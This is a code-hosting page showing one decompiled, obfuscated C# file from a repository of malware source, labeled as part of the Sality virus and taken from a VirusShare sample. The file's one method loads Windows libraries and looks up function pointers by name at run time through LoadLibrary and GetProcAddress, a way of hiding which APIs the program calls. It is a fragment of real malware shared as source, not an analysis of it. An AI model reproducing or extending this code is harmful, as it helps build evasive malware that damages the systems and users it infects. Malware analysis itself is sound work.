MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0001.cs
2022-08-18 06:28:56 -05:00

62 lines
1.8 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0007;
using \u0008;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0008
{
internal sealed class \u0001 : \u0001
{
[MethodImpl(MethodImplOptions.NoInlining)]
public \u0001()
{
\u0003.\u0003();
// ISSUE: explicit constructor call
base.\u002Ector();
try
{
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex, (object) this);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
public override object \u0003([In] object[] obj0)
{
IntPtr num;
IntPtr ptr;
try
{
num = \u0001.\u0003((string) obj0[0]);
ptr = \u0001.\u0003(num, (string) obj0[1]);
return (object) Marshal.GetDelegateForFunctionPointer(ptr, (Type) obj0[2]);
}
catch (Exception ex)
{
// ISSUE: variable of a boxed type
__Boxed<IntPtr> local1 = (ValueType) num;
// ISSUE: variable of a boxed type
__Boxed<IntPtr> local2 = (ValueType) ptr;
object[] objArray = obj0;
throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) objArray);
}
}
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
private static extern IntPtr \u0003([In] string obj0);
[DllImport("kernel32", EntryPoint = "GetProcAddress")]
private static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1);
}
}